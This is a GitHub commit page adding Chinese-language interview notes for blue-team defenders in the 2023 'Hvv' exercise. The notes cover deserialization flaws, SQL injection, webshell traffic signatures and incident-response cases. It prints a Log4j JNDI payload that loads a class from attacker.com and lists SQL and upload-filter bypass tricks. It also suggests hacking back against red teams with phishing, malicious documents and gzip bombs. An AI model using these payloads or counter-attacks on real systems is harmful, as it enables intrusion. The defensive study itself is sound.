Skip to content

Commit c6fa742

Browse files
committed
merge posts
Signed-off-by: ihexon <14349453+ihexon@users.noreply.github.com>
1 parent fe75fba commit c6fa742

162 files changed

Lines changed: 6289 additions & 0 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

content/posts/2023Hvv/index.md

Lines changed: 239 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,239 @@
1+
---
2+
title: "2023 Hvv 面试笔记"
3+
date: 2023-07-04
4+
draft: false
5+
---
6+
7+
# websocket 流量特征
8+
1. 通常是复用 80和 443 端口,在原有的http协议上生成。upgrade : websocket
9+
2. 长链接,连接通常保持打开和空闲状态,直到客户端或服务器发送消息,客户端与服务器之间存在定时的ping-pong机制数据交互以保持连接状态
10+
3. 客户端带有 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== 用于加密
11+
4. Websocket 多用于聊天或者小包传输场景中
12+
13+
# IP封禁
14+
1. 如果有防火墙等设备,推荐在防火墙上封禁IP
15+
2. 如果内网沦陷,可上线服务器手动设置IPtbles 防火墙隔离受感染机器
16+
3. 同时上报 IP给其他人
17+
<!--more-->
18+
19+
20+
# 危险函数
21+
代码执行: `eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function`
22+
23+
文件读取: `file_get_contents(),highlight_file(),fopen(),read` `file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()`
24+
25+
命令执行:`system(), exec(), shell_exec(), passthru() ,pcntl_exec(),popen(),proc_open()`
26+
27+
28+
# Sharo 反序列原理
29+
服务器端对rememberMe中的cookie依次进行base64解密、AES解密和反序列化得到cookie的值对用户进行认证。
30+
rememberMe 可以被构造,将恶意代码放入 rememberMe,服务器端解析后就会触发Java反序列化漏洞,进而在目标机器上执行任意命令。
31+
漏洞原理:
32+
1. shiro550 硬编码的key
33+
2. shiro-721 用户通过 Padding Oracle 攻击生成的攻击代码构造恶意的rememberMe字段,造成任意代码执行,原理:服务端回显,反映解密成功与否。服务器的回显总归是有些危险的,我们可以以回显差异来判断我们的输入是否正确,这也是padding oracle攻击的利用点
34+
防御:
35+
升级
36+
限制rememberMe字段长度
37+
38+
# log4j
39+
出网协议 rmi、ldap,
40+
对 JNDI 出网协议解析不正确,攻击者在服务器中构造恶意Class 文件,在日志中如果有 JNDI 解析触发错误,如`${jndi:rmi:http://attacker.com/exp}` 下载攻击者`class`并实例化执行
41+
绕过:
42+
希腊文字,UPPER,LOWER 等
43+
44+
# weblogic
45+
T3 协议发送反序列化漏洞
46+
T3 配合RMI,JDNI 协议发送反序列化漏洞
47+
流量特征:开头都是ac ed 00 05,端口:7001 数据包里有 CommonCollections/ysoserial 相关的东西
48+
监测:
49+
`nmap script` 里有` weblogic-t3-info,WebLogic` 的具体版本号为10.3.6.0以下就行。
50+
防御:
51+
增加 `jep290 `机制,需要修改JDK 设置
52+
jdk版本过低没有JEP290机制下,需要重写 `resolveClass(resolveClass读取反序列化的类名)`来进行反序列化类黑名单过滤。
53+
54+
55+
# fastjson
56+
`Object --> json or json-->Object`
57+
58+
反序列化 @type 指定的类时,指定类的 setter 或 getter 被调用导致的命令执行,比如 JDBCRowSetImpl setter dataSourceName 方法,支持RMI远程调用。
59+
在后续的版本中:Commons IO 2.x 写文件利用链挖掘 XmlStreamReader
60+
在1.2.25到1.2.41之间 autotype 可以绕过,函数checkAutotype存在缺陷
61+
ver=1.2.47 java.lang.class 不在黑名单里
62+
63+
监测方法:
64+
xray
65+
找到提交的接口,比如 GET, POST, Cookie 有个参数 json,然后提交 构造的 JSON 数据,看dnslog有无返回,java.net.InetSocketAddress
66+
67+
68+
防御:
69+
开启safeMode,-Dfastjson.parser.safeMode=true
70+
升级到最新版本1.2.83
71+
72+
# 云函数
73+
云函数:是独立运行的代码,托管在腾讯云平台上,可实现批量探测,由于IP数量多,造成溯源难度大,封禁难度大
74+
1. 通过观测流量的方法,提取攻击者攻击的端口号,业务系统精细到某个页面某个接口的利用,提取特征,然后根据特征编写防火墙规则
75+
2. X-Api-Status
76+
3. sh.apigw.tencentcs.com 域名前置
77+
78+
# 蜜罐
79+
1. 可以模拟真实交互场景
80+
2. 捕获攻击者攻击IP,攻击手法,甚至是未公开0day
81+
3. 捕获上传的木马以便后续分析,可以大概对攻击者所在的组织特征进行画像
82+
4. 可以起到攻击预警监测的作用,帮助及时发现任何攻击活动。
83+
84+
85+
# SQL 注入
86+
1. 通过报错注入(bczr)(常用函数,updataxml,extractXML ,rand,exp ,squar 等函数)猜表名。
87+
2. 构造SQL语句,写入文件到可写入的路径下的可读写文件中,盲注函数(substr,left,right,ascii,char)
88+
3. 多次构造注入语句进行多次写入操作,拼接成完整的Payload
89+
4. 访问运行
90+
## 注入写文件的条件
91+
1. 必须有写入权限
92+
2. 查询语句的函数必须要能输出内容到某个文件里,常见的指令有 into outfile,load date file
93+
3. 该文件不能为空,且必须是文本文件
94+
4. 攻击者必须知道文件在哪里
95+
## SQL 绕过(sqlrg):
96+
大小写,编码绕过,宽字节绕过,内敛注释绕过,十六进制绕
97+
SQL 注入预编译绕过:使用单引号和注释来拼接注入语句。
98+
## SQL 注入防御
99+
1. 严格规律用户输入语句
100+
2. 使用预编译
101+
3. 站酷分离设计
102+
## SQLmap 流量特征
103+
1. 大量的SQL查询发生,并且大量的不同规则的Payload反复对同一个页面或者接口查询
104+
2. SQLmap有自己的UA 特征
105+
3. 会在Cookie 字段里发现注入payload
106+
107+
# 绕过
108+
文件上传漏洞绕过:
109+
前端+后端过滤,后缀名截断,后缀名,MME绕过(修改 Content-Type ibm500、cp875
110+
Accept-Encoding gzip
111+
截断文件名
112+
HTTP PIpeline 分块传输)
113+
114+
115+
# 网站被挂马怎么办
116+
1. 取证(登录服务器,查看日志异常进程端口号,web页面可疑文件等),处理(删除木马文件,内存马使用专用清除工具,或者手写JVM 拦截器),溯源(入侵IP背景信息,入侵手法,恶意代码相似度归类),记录
117+
118+
# 溯源
119+
掌握攻击者的攻击手法,掌握攻击者背后的 IP &域名资产,掌握攻击者的真实身份
120+
溯源攻击手法:收集 如 Req/resp,User-Agent,特有的红队工具,钓鱼邮件(LNK、EXE、DOCX)特征,使用过的漏洞。
121+
溯源资产:发件服务器操作系统,IP,whos信息,绑定过的域名,DNS记录,回连C2,端口
122+
溯源后门:代码逻辑,行为,利用的操作系统漏洞,链接到的二进制库
123+
ID号:社交平台,Google,twitter,GitHub,Gitee,StackOverflow等,支付宝,微信
124+
# 反制
125+
通过对红队的资产展开渗透测试,拿下有些服务
126+
蜜罐中诱导红队下载SSL VPN,恶意文档等
127+
给红队发送钓鱼邮件等。
128+
BUrpsite,扫描器fz,gz炸弹,nmap syn 超时等
129+
130+
# FOFA
131+
domain=”qq.com” 搜索根域名带有qq.com的网站。
132+
host=”.gov.cn” 从url中搜索”.gov.cn” 搜索要用host作为名称
133+
port=”6379” 查找对应“6379”端口的资产
134+
ip=”220.181.111.1/24” 查询IP为“220.181.111.1”的C网段资产
135+
136+
137+
# 蚁剑、冰蝎,哥斯拉流量特征
138+
## 蚂剑
139+
1. User-agent 为 Ant-swa,但是可以修改 request.js 实现
140+
2. 混淆后的流量大部分是 0x 开头的
141+
142+
## 冰蝎
143+
1. Accept 头是 application/xhtml lapplication/xml application/signed- exchange 弱特征
144+
2. Content-Type: application/octet-stream 强特征,并且伴随着大量的Content-Type: applicationo/ctet-stream,很少使用
145+
3. UserAgent 内置16 个,随机选择,弱特征
146+
147+
## 哥斯拉
148+
动态特征
149+
1. 监控 JVM 拦截反射类 javax.crypto.Cipher.getInstance(“AES”)
150+
2. C# 拦截 System.Security.Cryptography.RijndaelManaged()
151+
3. PHP使用异常或加密,并且直接使用 eval
152+
静态特征
153+
1. User-Agent
154+
2. Accept text/html img/gif img/jepg; q=.2
155+
3. Cookies 后面有个 ; 号
156+
4. 第一个包比较大,后续的包有大有小,统计学特征
157+
5. 响应特征,把 32 位 MD5 拆开,16 位 md5 + base64 + 后 16 位 md5, md5 字符集 0-9A-F 匹配
158+
159+
160+
# 应急响应流程
161+
应急响应流程:准备-监测-抑制-根除-恢复-编写报告
162+
# 上机排查
163+
首先确定是否为误报,分析抓到的Payload,如果是:
164+
1. 定位是哪台机器,可以在安全设备上查看
165+
2. 定位与这台机器互相连接的机器,大致确定可能的受攻击范围
166+
3. 记得一定要进行备份操作。
167+
4. 非紧急的业务系统可以先做下线处理,在做大动作之前,先搞清楚业务逻辑,最好能得到领导的点头同意/
168+
4. 根据告警内容检查相关服务的异常情况,如果有异常就需要采取阻断清楚威胁手段
169+
5. 检查主机机器关联机器的日志文件,异常端口开放,可疑进程,数据库表单是否被修改,用户名等
170+
6. 编写产出监测报告
171+
如果不是,及时更新防火墙规则,以免才吃
172+
173+
# 应急响应案例
174+
某公司十余台服务器感染勒索病毒,文件遭勒索加密,因
175+
此向奇安信安服团队发起应急响应请求,查询中毒原因。
176+
应急人员抵达现场后,查看加密文件后缀及勒索病毒界面,判断该病毒
177+
是Phobos家族勒索病毒。通过现场对多台受害服务器进行日志分析,并与
178+
相关工作人员沟通,发现公司内部员工曾使用个人电脑通过非官方渠道下载
179+
各类破解版软件,导致个人电脑感染勒索病毒。同时内网多台服务器均开放
180+
3389远程桌面服务端口,勒索病毒进入内网后对内网服务器进行RDP暴破,
181+
暴破成功后释放勒索病毒,加密文件。
182+
加强内部访问策略,禁止或限制个人电脑进入内网,如业务需要,增
183+
加访问控制策略;
184+
2)建议在服务器上部署安全加固软件,通过限制异常登录行为、开启防
185+
暴破功能、禁用或限用危险端口(如3389、445、139、135等)、防范漏洞
186+
利用等方式,提高系统安全基线,防范黑客入侵;
187+
禁止通过非官方渠道下载应用软件,及时修复
188+
漏洞、安装补丁,将信息安全工作常态化
189+
190+
191+
医疗行业某单位网内约
192+
1000多台终端和服务器存在大量病毒,客户机不定时重启、蓝屏,严重影响
193+
业务系统的正常运行。
194+
应急人员通过对相关进程、文件、服务进行排查分析后,判断该单位内
195+
网失陷是由于感染“永恒之蓝下载器”木马,导致病毒泛滥。通过检查现场内
196+
网失陷主机,发现现场主机系统均未安装杀毒防护软件,C:\Windows目录下
197+
存在大量以随机字符命名的.exe文件,并在系统服务中发现大量该exe对应的
198+
服务。在分析天眼设备抓取流量时,发现内网共存在11种病毒,包括蠕虫病
199+
毒、挖矿病毒、勒索病毒、远控木马、僵尸网络等多种病毒,且发现主机高危
200+
端口如135、137、138、445端口均为开启状态并存在传播病毒的行为。除此
201+
之外,应急人员在检查过程中发现sqlserver数据库管理员账户密码与网内所
202+
有服务器均使用同一种密码,且该数据库服务器未安装任何安全防护设备,使
203+
得木马快速在内网扩散,并存在大量外连行为,导致大量机器沦陷。
204+
系统、应用相关用户杜绝使用弱口令,应使用高复杂强度的密码,尽
205+
量包含大小写字母、数字、特殊符号等的混合密码,加强管理员安全意识,
206+
禁止密码重用的情况出现;
207+
2)有效加强访问控制ACL策略,细化策略粒度,按区域按业务严格限制
208+
各个网络区域以及服务器之间的访问,采用白名单机制只允许开放特定的业
209+
务必要端口,其他端口一律禁止访问,仅管理员IP可对管理端口进行访问,
210+
如FTP、数据库服务、远程桌面等管理端口;
211+
3)部署高级威胁监测设备,及时发现恶意网络流量,同时可进一步加强
212+
追踪溯源能力,对安全事件发生时可提供可靠的追溯依据;
213+
4)建议在服务器上部署安全加固软件,通过限制异常登录行为、开启防
214+
暴破功能、禁用或限用危险端口、防范漏洞利用等方式,提高系统安全基
215+
线,防范黑客入侵
216+
217+
应急人员抵达现场后,通过对系统分析发现在WEB负载服务器WEB01
218+
中确实存在黑链,对Web01进行排查发现后门文件,溯源分析后发现攻击者
219+
是通过TRS服务器登入Web01系统,获取了Web01系统权限,通过对TRS
220+
服务器Web日志分析发现攻击者利用TRS漏洞,植入WebShell后门,攻击
221+
IP经调研后发现为内部Redis服务器,通过对Redis服务器进行分析发现该
222+
机器存在RootKit程序,该程序会自动连接到攻击者服务器,植入时间为:
223+
2017/03/17 ,且在该机器上发现了攻击者利用Redis未授权获得本机SSH管
224+
理权限的行为和内网扫描行为。
225+
综上,攻击者通过利用Redis未授权漏洞获取了Redis服务器本机SSH
226+
管理权限,并对同网段进行扫描,发现TRS服务器存在漏洞,并对该漏洞进
227+
行利用,获取TRS服务器权限并植入Webshell后门文件,由于TRS服务器
228+
与WEB负载服务器均使用相同密码,攻击者通过密码登录到WEB负载服务
229+
器,植入后门文件,并在官网首页文件中插入恶意代码
230+
231+
232+
# Windows 攻防
233+
隐蔽的影子账户可以在注册表里Sam里看到。
234+
Systeminfo可以查看系统信息并展示系统补丁信息
235+
日志 Windows审核策略,事件查看器,有日志筛选框
236+
237+
可疑进程: netstat,tasklist,
238+
计划任务 schtasks
239+
%temp% 临时文件
82.8 KB
Loading
65 KB
Loading
47.8 KB
Loading
164 KB
Loading

0 commit comments

Comments
 (0)